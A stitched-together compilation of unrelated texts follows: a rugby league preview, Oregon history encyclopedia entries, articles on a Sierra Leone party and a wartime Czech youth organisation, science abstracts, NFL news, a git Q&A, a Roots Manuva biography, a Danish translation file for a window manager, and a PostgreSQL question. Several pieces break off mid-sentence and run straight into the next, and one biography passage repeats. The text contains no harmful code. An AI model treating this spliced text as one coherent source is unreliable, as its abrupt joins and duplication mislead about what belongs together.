HULL KR: Promoted to Super League last year, they are desperate not to go straight back down. If they beat Widnes and either Toronto or Salford have lost, then they will be in the top three and confirm their place in next year's Super League. Even if Toronto have won, they could still overhaul them on points difference. Lose and they could be relegated automatically or find themselves in the Million Pound Game, depending on other results. They have a huge advantage, though, as they play on Sunday after everyone else has played, so they will know exactly what they have to do. And they are playing a demoralised Widnes who are already doomed, not that that is likely to settle any Rovers nerves.
WIDNES: After a seven-year stay in the top flight, they are definitely relegated after a disastrous season. They finished rock bottom of Super League - for the second season in a row - in a year that saw them lose 17 games on the bounce in one wretched run. Relegation may be a blessing for a club that will now try to rebuild and bounce back.
My prediction...
Well, it is a mug's game to try to make any predictions in what has been a nerve-tingling, breathtaking series of matches in the Qualifiers.
Last weekend, for example, three of the Championship sides - Toronto, Toulouse and London - all beat Super League opposition.
But I reckon Leeds, Salford and Hull |
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] | and pesticides. The Western meadow-lark is found throughout much of western North America, and is also the state bird of Kansas, Montana, Nebraska, North Dakota, and Wyoming.
**Medford** The county seat of Jackson County is located in the **Bear Creek Valley**. It was created as a result of the construction of the **Oregon & California Railroad** through the valley, which had been settled by miners and farmers in the 1850s. The railroad bypassed the historic county metropolis of **Jacksonville** , which was sited against the foothills, when it built up the valley in 1884. Surveyor J. S. Howard laid out the townsite in 1883; the post office opened in 1884; and Medford was incorporated in 1885. It quickly became the chief trading center for the region. The 1890 census gave Medford a population of 967; it was 1,791 in 1900, and 8,840 in 1910 as the district experienced a real estate boom in orchard lands. In 1915, it was reported of Medford that the "city is well built and possesses the appearance of a metropolitan center."
Medford's economy lapsed in the 1920s as the land boom dissipated. In the Depression of the 1930s, the **Good Government Congress** disrupted local politics. Fruit culture and fruit-packing continued to anchor the economy, and companies such as **Harry and David** reached new markets. Lumber and plywood production increased in the 1940s and 1950s. Medford's population hit 17,305 in 1950, and 39,476 in 1980. The downtown area, increasingly deserted in the 1970s and 1980s as suburban shopping proliferated, rebounded somewhat during the 1990s with impetus from the successful restoration of the historic 1924 Craterian Theatre into the Craterian Ginger Rogers Theater as a community performance center. (The new name reflects the longtime association of actress Ginger Rogers with the area; she appeared on stage at the Craterian in 1926, and owned and operated a ranch north of Medford from 1940 to 1990. The name Craterian is derived from Crater Lake.) Medford's estimated population in 2007 was 75,675.
**Meek, Joseph Lafayette** (1810–1875) Joseph Meek was born in Virginia, and became a fur trapper in the Rockies from 1829 to 1840. A "mountain man," Joseph Meek traveled far and experienced great adventures. He settled down in 1840, taking up a land claim on the **Tualatin Plains** that year; he became active in the efforts to form a **provisional government** in 1843 and was elected the first sheriff—and tax collector; he also conducted the first census, in 1845, and served in the legislature. Meek's moment of national glory came in 1848 when he traveled to Washington, DC, to seek federal assistance following the deaths of **Marcus and Narcissa Whitman**. Meek famously described himself as "envoy extraordinary and minister plenipotentiary from the republic of Oregon to the court of the United States." The Oregon Country was since 1846 under American jurisdiction, and Meek argued for the establishment of an **Oregon Territory**. His petition was heard, Meek was appointed a U.S. marshal, and he accompanied the new territorial governor, **Joseph Lane** , back to Oregon in 1849. Meek retired to his Washington County farm in the late 1850s. In the late 1860s, historian **Frances Fuller Victor** interviewed Meek and crafted their talks into her book _The River of the West: Life and Adventure in the Rocky Mountains and Oregon_ (1870).
**Meeker, Ezra** (1830–1928) Ezra Meeker revived the **Oregon Trail** and helped boost it to legendary status. Meeker was born in Ohio and came west over the trail in 1852–53 to the Puget Sound country of Washington Territory with his new wife and child. The family settled near Puyallup in 1862, where Meeker was a very successful hops farmer. Late in his life, he became convinced that the Oregon Trail deserved recognition and preservation as an historical artifact and as a memorial to the **pioneer** American settlers. Meeker proved to be a most successful publicist: in 1906 he recreated his trek, eastbound, by ox cart, pulled by the team of Dave and Dandy, a lengthy event that was well covered by newspapers across the country. He eventually crossed the Missouri and continued until he reached the East Coast, met Theodore Roosevelt, and pushed the idea of marking the trail before Congress. After returning to Puyallup in 1908, he set off again in a **covered wagon** in 1910, this time from The Dalles, Oregon, on a similar adventure, even making a detour to San Antonio to pose in front of the Alamo; he returned in 1912. Indefatigable, Meeker subsequently covered the route by train, automobile, and, in 1924, by airplane. Along the way, he distributed postcards, thousands of which survive today. Meeker was a prolific author of books and pamphlets, about the Pacific Northwest, about the Oregon Trail, about growing hops, and about himself. Although a resident of Washington state for most of his life, Meeker was nonetheless the archetypal Oregon Country Pioneer. Dave and Dandy, preserved by taxidermy, can be seen at the Washington State Historical Museum in Tacoma.
**Pictured at a farmhouse stop somewhere in Oregon, Ezra Meeker poses with his wagon tent in a photograph taken about 1913**. Albert H. Barnes photograph. University of Washington Libraries, Special Collections, Barnes 1889.
**Meier, Julius L**. (1874–1937) Julius Meier was born in Portland to German Jewish immigrants Aaron and Jeannette (Hirsch) Meier; Aaron was a partner in the **Meier & Frank** department store. Julius Meier attended public school and graduated from the University of Oregon law school in 1895, and practiced law for several years before entering the family business. There he was the store's general manager until 1930 and subsequently its president. Meier engaged in a number of civic activities, heading the state commission for the 1915 Panama-Pacific Exposition in San Francisco and promoting Liberty Loan drives during World War I. Meier entered the political arena in 1930 after the death of his friend and former law partner George W. Joseph, who had just won the Republican nomination for governor. Meier entered the fray as an independent candidate favoring state involvement in the development of hydroelectric power from the Columbia River, a position that Joseph had espoused but which the official Republican replacement candidate opposed. It was a contentious issue; Meier won the election as governor, but had to witness federal rather than state development of the Columbia with **Bonneville Dam** as the first project; he came to support that approach. His election also seemed to override the recent appeal of the **Ku Klux Klan** , which had influenced elections in the 1920s. Meier's Depression-era administration improved the state's finances, regulated the liquor trade with the repeal of prohibition, established a state police system, and created a state unemployment commission and board of agriculture. Meier declined other political opportunities for health reasons and retired from office in 1935. His Columbia River gorge estate, Menucha, has become a favorite conference and retreat center.
**Meier & Frank** The full-block, thirteen-story, white terra cotta bulk of the Meier & Frank department store in downtown Portland spoke loudly of the company's large presence in retail trade. The company had its beginnings in 1857, when Aaron Meier (father of **Julius L. Meier** ) began selling dry goods at a store on Front Street. Emil Frank became a partner in 1873, and the store expanded. Emil left in 1888, but his brother Sigmund (who had married Aaron Meier's daughter Fannie) joined the firm and the name remained, even after Aaron Meier's death in 1889. By 1898, the store was occupying the SW Fifth Avenue site that became their headquarters. Architect **A. E. Doyle** designed the signature building, which was erected in segments that opened in 1909, 1915, and 1930, when the entire block was occupied. From the 1910s through the 1950s, Meier & Frank, **Lipman, Wolfe & Company**, and **Olds & King** reigned as the three major shopping destinations in downtown Portland. Among the store's beloved features were the weekly Friday Surprise shopping sprees, the central information kiosk with its clock (the favorite "I'll meet you there" location in downtown), and the store window Christmas concoctions. Meier & Frank's banks of elevators were presided over by "starters": commanding women equipped with stentorian voices and clicking castanets who dispatched the crowded elevators to their various destinations. The store's Georgian Room restaurant, beloved of **James Beard** , served chicken salad to thousands of shoppers.
With downtown department stores faltering in the 1950s, Meier & Frank bought and demolished the venerable Portland Hotel to build a parking lot (it was later transformed into **Pioneer Courthouse Square** ) in hopes of boosting sales. The company built its first branch store in Salem in 1955, and then one in the **Lloyd Center** in 1960. After a bitter battle, the Meier and Frank families sold the business to the May Company chain in 1966. While other stores were added, the Meier & Frank label declined over the years, and May sold it in 2005 to Federated Department Stores. Federated converted all the stores to their Macy's brand; the former flagship store was renovated and re-opened in 2007 as |
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1959,
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1978,
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15,
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] | to discuss the instrumentation involved, spectral assignment methods for small and large proteins, and the utility of other spin active nuclei (e.g., (13)C and (15)N) to aid assignment of the latter.Sierra Leone Progressive Independence Movement
Sierra Leone Progressive Independence Movement (also known as 'Dawoh' ('the pot')) was a political party in Sierra Leone, led by Paramount Chief from Kono, Tamba Sungu Mbriwa. The party was founded in 1958, through the merger of the Kono Progressive Movement and the Sierra Leone Independence Movement. The objective of the party was, according to its founding declaration, to "prosecute more vigorously a political campaign for national unity and independence."
Kono Mannda, the mouthpiece of the erstwhile KPM, became the organ of the SLPIM in Kono.
The party suffered from repression from the government, SLST and Paramount Chiefs. In September 1960, Mbriwa was jailed for six months.
In February 1961, Mbriwa was elected Paramount Chief of Fiama Chiefdom.
In 1962 an alliance was declared between SLPIM and the All People's Congress. One day after the announcement, President Albert Margai dismissed Mbriwa.
In the election SLPIM obtained 5.2% of the national vote and four seats (all from Kono). Outside of Kono, the candidates of the party fared poorly.
In 1963 the Sierra Leone People's Party began pressurizing the SLPIM parliamentarians to join the government bloc. The alliance with APC was broken and the party was divided on how to relate to the SLPP. Three of the four SLPIM MPs, S. L. Matturi, D. S. Bockari and G. W. Mani, joined the SLPP. Leading figures who remained with SLPIM, such as the family of T.R. Foyoh, went into exile.
In the mid-1960s the SLPIM was dissolved by Mbriwa. The sole remaining SLPIM Member of Parliament, S.H. Gandi Capio, joined the APC. In July 1965 the Democratic People's Congress was formed by some remaining elements of the SLPIM.
References
Category:1958 establishments in Sierra Leone
Category:Defunct political parties in Sierra LeoneConvergent sequence evolution between echolocating bats and dolphins.
Cases of convergent evolution - where different lineages have evolved similar traits independently - are common and have proven central to our understanding of selection. Yet convincing examples of adaptive convergence at the sequence level are exceptionally rare [1]. The motor protein Prestin is expressed in mammalian outer hair cells (OHCs) and is thought to confer high frequency sensitivity and selectivity in the mammalian auditory system [2]. We previously reported that the Prestin gene has undergone sequence convergence among unrelated lineages of echolocating bat [3]. Here we report that this gene has also undergone convergent amino acid substitutions in echolocating dolphins, which group with echolocating bats in a phylogenetic tree of Prestin. Furthermore, we find evidence that these changes were driven by natural selection.The Giants aren’t the only team facing injury issues at receiver.
The Bengals saw star wideout A.J. Green get carted off the field with a left ankle sprain after going down while running a route at Saturday’s training camp practice, according to the Cincinnati Enquirer.
Green could be seen punching the bench multiple times while talking to team doctors before being put in the cart. He later emerged with angle wrapped and walking on crutches.
“You don’t want to assume anything, but I think we’re going to be OK,” Bengals coach Zac Taylor told reporters.
The Giants have recently seen receivers Sterling Shepard and Corey Coleman suffer injuries in training camp and Golden Tate get a four-game PED suspension.
Green, who turns 31 on Wednesday, played just nine games last season because of a toe injury, and a hamstring issue limited him to 10 games in 2016. He made the Pro Bowl each of his first seven seasons.Q:
Why are some git commands has single - for additional options whereas some others have --
I am trying to learn the git commands and it is confusing that some commands in git uses single single -
git log -n 2
Whereas some other commands use --
git log --grep
I think there should be a particular pattern in which we use single hypen and double hypen with git commands. Could someone please explain this
A:
If the name of an option is long such as the full word grep use --, Otherwise for single character options like n use -.
Note that -grep is the same as the four short options -g -r -e -p. tar does this but notably find does not which is why find does not need -- for long options.
Long options were an extension. There used to only be short options but there are only 62.
Board of Trustees for the Education of Youth
The Board of Trustees for the Education of Youth (Czech: Kuratorium pro výchovu mládeže) was an organization in the Protectorate of Bohemia and Moravia that provided athletic and cultural activities for youth ages ten to 18. Though created at the impetus of officials in the German-backed Protectorate government, it evolved to promote a distinctive form of "Reich-loyal" Czech nationalism that was viewed with concern by some quarters of the Nazi Party. Following World War II, it was banned as a fascist organization and its principal leaders put on trial.
History
The Board of Trustees for the Education of Youth (or Kuratorium) was established in 1941 partly on the initiative of Colonel Emanuel Moravec to provide athletic and cultural activities for Czech youth between the ages of ten to 18. Many Kuratorium leaders were functionaries or supporters of the fascist Vlajka and Livia Rothkirchen has characterized its programming as an effort at Nazi indoctrination.
However, Tara Zahra has noted that at the group's camping trips and other retreats for Czech boys and girls a special focus was made in celebrating Czech culture, with Sicherheitsdienst informants reporting to the German authorities that a kind-of "Reich-loyal" Czech nationalism was being organically developed by the Kuratorium.
Moravec was chair of the Kuratorium throughout its existence, while the organization was operationally managed by the Czech physician František Teuner.
Following World War II, the Beneš decrees proscribed the Kuratorium as a "fascist organization". In 1947, leaders of the Kuratorium were tried over their involvement in the organization, resulting in the conviction of Teuner and seven others: Eduard Chalupa, Jan Svoboda, Josef Victorin, Karel Žalud, Jiri Málek, Vaclav Krigar, Jaroslav Krigar, and Karel Mihaliče.
Activities
According to a 1944 report in The Guardian, the Kuratorium was then putting on "180 theatrical shows a week. In Prague alone its concerts, films, and exhibitions are visited by 13,000 children every day. It has arranged 13 great sports meetings in which 30,000 boys and girls took part. It has taught 80,000 children to swim. Some 200,000 have actively participated in its 'Art for Youth' competition, and 20,000 have been entertained at free holiday camps".
The Kuratorium's nationalist-oriented programming reached a zenith in the summer of 1944 when the "Week of Czech Youth" was staged in Prague, activities during which included thousands of Kuratorium participants attired in Czech national costume singing traditional Czech songs. Observers from the Hitler Youth came to the conclusion that Kuratorium activities had essentially become nothing more than a continuation of the banned Sokol movement and were concerned that "Reich-loyal" Czech nationalism would transform into a dangerous "double-edged sword". On the one hand, the existence of the Kuratorium showcased Germany's supposed tolerance for Czech institutions and helped educate Czech youth towards an anti-communist worldview, however, on the other hand it severely undermined the ultimate goal of Germanizing the population of the Czech lands.
See also
National Partnership
Pioneer movement
Scouting
References
Category:Protectorate of Bohemia and Moravia
Category:1942 establishments in Europe
Category:Youth organizations
Category:Fascist organizationsHyperhidrosis - Excessive Sweating
Definitions
In medical science, the term "hyperhidrosis" is used when sweat secretion exceeds 100 mg of sweat per cm2 and minute. In clinical practice, however, the definition is more subjective and implies an excess of sweating that causes discomfort and/or a series of difficulties in daily life, exceeding the body's physiological requirement of sweat to keep the body temperature at a normal level.
The activity of the sweat glands is not constant but varies during the 24 hours, reaching minimum levels during night time and peaking during physical exercise, psychological or psychophysical stress, heat exposure etc.
Among other factors determining the level of humidity of the skin is the degree of evaporation, markedly reduced in humid climatic environment or when covering the sweating surface (e.g. closed shoes).
BROMHIDROSIS = sweat with unpleasant odor.
Bromhidrosis is often associated with hyperhidrosis, but excessive sweating is not necessarily causing unpleasant odor. On the contrary, the sweat itself is an odorless |
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] | ish for being “a voice for those who how have little or no voice.” First Switch tune “Crying” is best described by Manuva himself: “a very paranoid fidget affair,” all tricky rhythms and deadpan delivery. Four Tet’s “Facety 2:11” has already blown minds and ears on both sides of the Atlantic, a jump-cut, oddly beautiful meditation on the power of the word. “Don’t Breathe Out” is an uplifting crossover moment with reggae lilt. Rodney describes “Cargo,” tongue only slightly in cheek, as his stadium tune and, with its emotional build, its easy to imagine a sea of lighters greeting it. From “Stepping Hard,” Smith unleashes a suite of emotional showstoppers, interspersed with the playground-knowingness of single “One Thing.” The album culminates with the stunning, raw and beautiful “I Know Your Face,” which could leave you devastated if not followed up by the revived vigour of “Fighting For.”
One of the true pioneers and originals of British music, any album from Roots Manuva is an event. When it’s as good as ‘Bleeds’ it’s one of the musical events of the year. Both genre-defying and deeply rooted in what he describes as “the culture of Bass and Verb,” the record innovates and consolidates in equal measure. Rodney Smith describes himself as “a British Black musical Mark Rothko” and ‘Bleeds’ is another masterpiece from this abstract wordsmith.
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BIOGRAPHY
Rodney Smith aka Roots Manuva is one of the titans of Black British music.Smith made his recorded debut in 1994 as part of IQ Procedure through Suburban Base's short-lived hip hop imprint Bluntly Speaking Vinyl. He debuted as Roots Manuva the same year on Blak Twang's 'Queen's Head' single, before releasing his own single, 'Next Type of Motion' the following year through the same label, the hugely influential Sound of Money. 1996 saw the release of his collaborations with Skit...
Rodney Smith aka Roots Manuva is one of the titans of Black British music.
Smith made his recorded debut in 1994 as part of IQ Procedure through Suburban Base's short-lived hip hop imprint Bluntly Speaking Vinyl. He debuted as Roots Manuva the same year on Blak Twang's 'Queen's Head' single, before releasing his own single, 'Next Type of Motion' the following year through the same label, the hugely influential Sound of Money. 1996 saw the release of his collaborations with Skitz ('Where My Mind Is At'/'Blessed Be the Manner') on 23 Skidoo's Ronin label. The release of 'Feva' on Tony Vegas's Wayward imprint followed in 1997. This was also the year that saw the first releases from Big Dada. In 1998 he joined the label and the following year released his fiercesome debut, 'Brand New Second Hand'. From an initial 3000 records put into the shops 'BNSH' has now sold over 50,000 copies in the UK. It also made the first dents in the wall of complacency and indifference which has often greeted home-grown Black music in this country. Manuva was rewarded for his breakthrough with a MOBO as Best Hip Hop Act that year. As if to demonstrate the broad appeal of his style, he also featured on Leftfield's 'Dusted' from their 'Rhythm & Stealth' album.
Big things were now expected of Smith and he delivered with 2001's 'Run Come Save Me', the record which gained him a nomination for the Mercury Music Prize and which has currently sold well over 100,000 copies in the UK. More importantly, it spawned the all-time classic 'Witness' (voted the greatest UK hip hop tune of all time by the readers of Hip Hop Connection) on an album that ran from the broad, swaggering pop of 'Dreamy Days' to the dark, odd meditation of 'Evil Rabbit'. It is also the record which led the Guardian newspaper, in October 2003, to proclaim Manuva fifth in their '40 Best Bands In Britain' feature, proclaiming that "his influence is incalculable and he opened the doors for the Streets, Dizzee Rascal et al."
Smith followed up that album with "Slime & Reason" in 2008 and "4everevolution" in 2011. Both records were acclaimed by critics and fans alike. In addition, 2010 saw the release of "Duppy Writer," Alongside these releases, he contributed to the first Gorillaz record, started up his label-come-gang, Banana Klan, and guested on countless records for other artists.
Between times, he toured festivals the world over (on one memorable night being joined onstage by Usain Bolt) and developed an occasional sideline as a “DJ/selecta.” In addition, for a number of years, Banana Klan and its artists took up an increasing amount of Smith’s time, as did curating and promoting a series of “Dub College” events that featured everyone from Micachu and The Bug to Dawn Penn. As ever, Smith was less interested in genre than in pushing “bass culture” in new and interesting directions. He has also collaborated and guested with a long list of artists over the years not only Gorillaz, but a diverse selection of artists including Jamie Cullum, The Maccabees, Toddla T, The Bug, The Cinematic Orchestra, Leftfield and Mr Scruff and many others. The records continued to come. 2010 saw the download-only release of “Snakebite” (complete with an excellent video, shot on the same Kent beaches as the album cover to Run Come Save Me), new remixes and collaborations for Ninja Tune’s twentieth anniversary XX compilation and the release of Duppy Writer, a reggae reinterpretation of his back catalogue by Wrong Tom featuring the blazer “Jah Warriors”.
Having had music featured in the very first series of Skins back in 2007, when Rodney was asked to compose a track for the very last series, he jumped at the chance. With a brief that covered everything from tempo and feel to hints at lyrical content, Manuva cooked up “Stolen Youth” - a classic Roots Manuva moment built on mournful strings, heartbeat drum programming and the kind of lyrical flights that made his name, all delivered in that trademark chocolate-growl.
After a wondrous performance at the BBC’s Maida Vale with fellow sonic adventurers The Invisible, the last two years have seen Rodney back in his laboratory, brewing up the ingredients for his next brand new album. The first results of his latest experiments were astonishing. An initial double A-side single, Facety 2:11 / Like a Drum saw Smith recruit two of electronic music’s most brilliant talents, Four Tet and Machinedrum. Summer 2015 was spent appearing at a series of fesitvals, including supporting Blur at Hyde Park, while putting the finishing touches on his new record, ‘Bleeds.’
His sixth studio album, ‘Bleeds’ is his most concise and focussed record, his most emotionally affecting and powerful release since his breakthrough, ‘Run Come Save Me.’ Drawing upon production assistance from young British producer, Fred, together with musical heavyweights Four Tet, Adrian Sherwood and Switch’s new production team, With You, the title of the record is, in the man’s words, an “egocentric jest of daring to do things in the tradition of Jesus: I’m ready to bleed for the artform.” It is, of course, also a reference to the way in which genres, in the sonic world of Roots Manuva, have a tendency to bleed into one another, so that hip hop, reggae, techno, funk, neo-classical, all blend together to create “liquid soul, the blood, the bleeds that paint infinite sacred wonders in our dreams and unfold in our day-to-day.”
From the opening chords of “Hard Bastards” you know “Bleeds” is going to be something special. The tune combines melodramatic strings and choral work with hard-hitting social comment and leaves us in no doubt that there will never be any sell-out in Manuva world, just a relish for being “a voice for those who how have little or no voice.” First Switch tune “Crying” is best described by Manuva himself: “a very paranoid fidget affair,” all tricky rhythms and deadpan delivery. Four Tet’s “Facety 2:11” has already blown minds and ears on both sides of the Atlantic, a jump-cut, oddly beautiful meditation on the power of the word. “Don’t Breathe Out” is an uplifting crossover moment with reggae lilt. Rodney describes “Cargo,” tongue only slightly in cheek, as his stadium tune and, with its emotional build, its easy to imagine a sea of lighters greeting it. From “Stepping Hard,” Smith unleashes a suite of emotional showstoppers, interspersed with the playground-knowingness of single “One Thing.” The album culminates with the stunning, raw and beautiful “I Know Your Face,” which could leave you devastated if not followed up by the revived vigour of “Fighting For.”
One of the true pioneers and originals of British music, any album |
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] | s"
"\"."
msgstr ""
"En anden komposithåndtering kører allerede på skærm %i på terminal \"%s\"."
#: ../src/core/bell.c:307
msgid "Bell event"
msgstr "Bip-hændelse"
#: ../src/core/core.c:157
#, c-format
msgid "Unknown window information request: %d"
msgstr "Ukendt forespørgsel efter vinduesinformation: %d"
#: ../src/core/delete.c:111
#, c-format
msgid "<tt>%s</tt> is not responding."
msgstr "<tt>%s</tt> svarer ikke."
#: ../src/core/delete.c:114
msgid "Application is not responding."
msgstr "Program svarer ikke."
#: ../src/core/delete.c:119
msgid ""
"You may choose to wait a short while for it to continue or force the "
"application to quit entirely."
msgstr ""
"Du kan vælge at vente et lille stykke tid på at programmet fortsætter, eller "
"du kan tvinge programmet til at afslutte fuldstændigt."
#: ../src/core/delete.c:126
msgid "_Wait"
msgstr "_Vent"
#: ../src/core/delete.c:126
msgid "_Force Quit"
msgstr "_Tving til at afslutte"
#: ../src/core/display.c:387
#, c-format
msgid "Missing %s extension required for compositing"
msgstr "Manglende %s-udvidelse som kræves til komposition"
#: ../src/core/display.c:453
#, c-format
msgid "Failed to open X Window System display '%s'\n"
msgstr "Kunne ikke åbne X Window System-terminalen \"%s\"\n"
#: ../src/core/keybindings.c:852
#, c-format
msgid ""
"Some other program is already using the key %s with modifiers %x as a "
"binding\n"
msgstr ""
"Et andet program bruger allerede nøglen %s med modifikatorer %x som binding\n"
#: ../src/core/main.c:206
msgid "Disable connection to session manager"
msgstr "Deaktivér forbindelse til sessionshåndtering"
#: ../src/core/main.c:212
msgid "Replace the running window manager"
msgstr "Erstat den kørende vindueshåndtering"
#: ../src/core/main.c:218
msgid "Specify session management ID"
msgstr "Angiv sessionhåndterings-id"
#: ../src/core/main.c:223
msgid "X Display to use"
msgstr "X-skærm som bruges"
#: ../src/core/main.c:229
msgid "Initialize session from savefile"
msgstr "Initialisér session fra gemt fil"
#: ../src/core/main.c:235
msgid "Make X calls synchronous"
msgstr "Gør kald til X synkrone"
#: ../src/core/main.c:504
#, c-format
msgid "Failed to scan themes directory: %s\n"
msgstr "Kunne ikke skanne temamappe: %s\n"
#: ../src/core/main.c:520
#, c-format
msgid ""
"Could not find a theme! Be sure %s exists and contains the usual themes.\n"
msgstr ""
"Kunne ikke finde et tema! Sikr dig at %s eksisterer og indeholder de "
"sædvanlige temaer.\n"
#: ../src/core/muffin.c:40
#, c-format
msgid ""
"muffin %s\n"
"Copyright (C) 2001-%d Havoc Pennington, Red Hat, Inc., and others\n"
"This is free software; see the source for copying conditions.\n"
"There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A "
"PARTICULAR PURPOSE.\n"
msgstr ""
"muffin %s\n"
"Copyright © 2001-%d Havoc Pennington, Red Hat, Inc., og andre\n"
"Dette er frit programmel; se kildekoden for kopieringsbetingelser.\n"
"Der er INGEN garanti; ikke engang for SALGBARHED eller EGNETHED TIL ET "
"BESTEMT FORMÅL.\n"
#: ../src/core/muffin.c:54
msgid "Print version"
msgstr "Vis version"
#: ../src/core/muffin.c:60
msgid "Comma-separated list of compositor plugins"
msgstr "Kommaadskilt liste af komposit-udvidelsesmoduler"
#: ../src/core/prefs.c:1077
msgid ""
"Workarounds for broken applications disabled. Some applications may not "
"behave properly.\n"
msgstr ""
"Omgåelser for ødelagte programmer deaktiveret. Nogle programmer opfører sig "
"måske ikke korrekt.\n"
#: ../src/core/prefs.c:1152
#, c-format
msgid "Could not parse font description \"%s\" from GSettings key %s\n"
msgstr ""
"Kunne ikke fortolke skrifttypebeskrivelsen \"%s\" fra GSettings-nøglen %s\n"
#: ../src/core/prefs.c:1218
#, c-format
msgid ""
"\"%s\" found in configuration database is not a valid value for mouse button "
"modifier\n"
msgstr ""
"\"%s\" fundet i konfigurationsdatabasen er ikke en gyldig værdi som "
"museknapsmodifikation\n"
#: ../src/core/prefs.c:1739
#, c-format
msgid ""
"\"%s\" found in configuration database is not a valid value for keybinding "
"\"%s\"\n"
msgstr ""
"\"%s\" fundet i konfigurationsdatabasen er ikke en gyldig værdi for "
"tastebindingen \"%s\"\n"
#: ../src/core/prefs.c:1836
#, c-format
msgid "Workspace %d"
msgstr "Arbejdsområde %d"
#: ../src/core/screen.c:730
#, c-format
msgid "Screen %d on display '%s' is invalid\n"
msgstr "Skærm %d på terminal \"%s\" er ugyldig\n"
#: ../src/core/screen.c:746
#, c-format
msgid ""
"Screen %d on display \"%s\" already has a window manager; try using the --"
"replace option to replace the current window manager.\n"
msgstr ""
"Skærm %d på terminal \"%s\" har allerede en vindueshåndtering; prøv "
"tilvalget --replace for at erstatte den aktuelle vindueshåndtering.\n"
#: ../src/core/screen.c:773
#, c-format
msgid ""
"Could not acquire window manager selection on screen %d display \"%s\"\n"
msgstr ""
"Kunne ikke fremskaffe vindueshåndteringvælgeren på skærm %d på terminal \"%s"
"\"\n"
#: ../src/core/screen.c:828
#, c-format
msgid "Screen %d on display \"%s\" already has a window manager\n"
msgstr "Skærm %d på terminal \"%s\" har allerede en vindueshåndtering\n"
#: ../src/core/screen.c:1013
#, c-format
msgid "Could not release screen %d on display \"%s\"\n"
msgstr "Kunne ikke frigive skærm %d på terminal \"%s\"\n"
#: ../src/core/session.c:843 ../src/core/session.c:850
#, c-format
msgid "Could not create directory '%s': %s\n"
msgstr "Kunne ikke oprette mappen \"%s\": %s\n"
#: ../src/core/session.c:860
#, c-format
msgid "Could not open session file '%s' for writing: %s\n"
msgstr "Kunne ikke åbne sessionsfilen \"%s\" til skrivning |
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] | resulting low metal concentrations from the IHSS (including HF treatment) we believe that these processes did not influence our results significantly. This is discussed in more detail in Bauer and Kappler \[[@CR13]\].
Conclusions {#Sec13}
===========
Our study suggests that magnetite reduction and dissolution by native and reduced humic substances has to be considered as an important electron transfer pathway in anoxic environments such as sediments or waterlogged soils and has the potential to contribute to the environmental iron cycle. These reactions are likely influenced by microorganisms since they can utilize HS as electron donors and acceptors. These abiotic reactions may play an important role in environments or sites where the microbial access to mineral surfaces are physically hindered. Furthermore, the current study highlights the variability in magnetite reactivity based on the route of synthesis, i.e. abiotic or biogenic, and the resulting magnetite properties (Fe(II)/Fe(III) stoichiometry and particle size). More specifically, the high reactivity of biogenic magnetite and its propensity to be reduced and dissolved by HS indicates that magnetite of biogenic origin potentially plays a larger role in the mobilization of sorbed nutrients and toxic elements in organic rich environments compared with abiotically formed magnetite. We believe that the high reactivity of biogenic magnetite is linked to its high organic carbon content (EPS and other cell-derived biomolecules) as organic molecules have previously been linked to electron shuttling and reductive dissolution of Fe-minerals \[[@CR11]--[@CR15]\]. Furthermore, the higher solubility, i.e. reactivity, of biogenic magnetite results in dissolved Fe^2+^ which can reload the solid phase magnetite and thereby increase its propensity to dissolve. These results also have clear implications for the use of magnetite for remediation purposes: HS-induced dissolution of magnetite may result in remobilization of previously sorbed contaminants and the observed high reactivity of biogenic magnetite may indicate that it is even more suitable for redox-based remediation of contaminants such as Cr(VI).
Additional file {#Sec14}
===============
**Additional file 1: Figure S1.** Results from solid phase Fe(II)/Fe(III) ratios. **Figure S2**. Leaching of Fe from HS. **Figure S3**. X-ray diffractograms of magnetite samples. **Figure S4**. Results of 500 nm magnetite incubation with HS and reduced HS. **Figure S5**. HR-TEM micrographs of selected magnetite samples. **Figure S6**. Results from Mössbauer spectroscopy fittings. **Table S1**. Results from Mössbauer fittings. **Table S2**. Results from particle size analysis by μXRD and TEM. **Table S3**. Compilation of dissolved and solid phase Fe(II) and Fe(III) for initial and end samples. **Table S4**. Results from Mössbauer fittings. **Table S5**. Fe^2+^ and Fe(II) concentrations for electron transfer calculations.
Fe
: iron
HR-TEM
: high-resolution transmission electron microscope
HS
: humic substances
IHSS
: International Humic Substances Society
MQ
: Milli-Q
MS
: magnetic susceptibility
SI
: supporting information
TEM
: transmission electron microscopy
µXRD
: micro X-ray diffraction
**Electronic supplementary material**
The online version of this article (doi:10.1186/s12932-017-0044-1) contains supplementary material, which is available to authorized users.
AS planned the experiments together with JMB and AK. AS did the vast majority of the lab-work and was the main author of the manuscript and compiled all the data. All five authors contributed significantly to the writing of the manuscript. JMB was in charge of the Mössbauer data collection and analysis. IB started this project with AK several years ago and it was their initial experiments and results that laid the foundation for the data presented within this manuscript. NM was in charge of the TEM recording. All authors read and approved the final manuscript.
Acknowledgements {#FPar1}
================
Ellen Roehm at University of Tuebingen is thanked for measuring DOC and BET surface area and Maximilian Halama, also at University of Tuebingen, for XRD measurements.
Competing interests {#FPar2}
===================
The authors declare that they have no competing interests.
Availability of data and materials {#FPar3}
==================================
The datasets supporting the conclusions of this article are included within the article and its additional file.
Consent for publication {#FPar4}
=======================
Not applicable.
Ethics approval and consent to participate {#FPar5}
==========================================
Not applicable.
Funding {#FPar6}
=======
This work was supported by University of Tuebingen's Teach\@Tuebingen program, the Foundation of Blanceflor and Deutsche Forschungsgemeinschaft (DFG) to A.S. A DFG Individual Research Grant (KA 1736/31-1) supported J.M.B and A.K.
Publisher's Note {#FPar7}
================
Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.
Q:
PostgreSQL auto-vacuum: "skipped frozen" pages causing massive bloating
I am having a problem with a table I am using for a forum where people can add their products.
Everytime a user loads a page, the "online timestamp" of the user gets updated (a PHP line prevents it from updating more than 1 time per hour), which triggers the "online timestamp" of his respective products to be updated as well (trigger). Users can add and edit products anytime. Here's the table definition:
CREATE TABLE products (
id SERIAL PRIMARY KEY,
userid INT NOT NULL REFERENCES users(id),
categoryid INT NOT NULL REFERENCES categories (id),
regionid INT NOT NULL REFERENCES regions(id),
title VARCHAR(255) NOT NULL,
description TEXT NOT NULL,
price DECIMAL(7,2) NOT NULL,
create_timestamp BIGINT NOT NULL,
modify_timestamp BIGINT NOT NULL,
online_timestamp BIGINT NOT NULL
);
CREATE INDEX ON products (categoryid);
CREATE INDEX ON products (userid);
CREATE INDEX ON products (regionid);
There are around 100,000 users, with around 400,000 products. The table gets updated very often (around 2 times per second) due to the "online timestamp" needing to be updated.
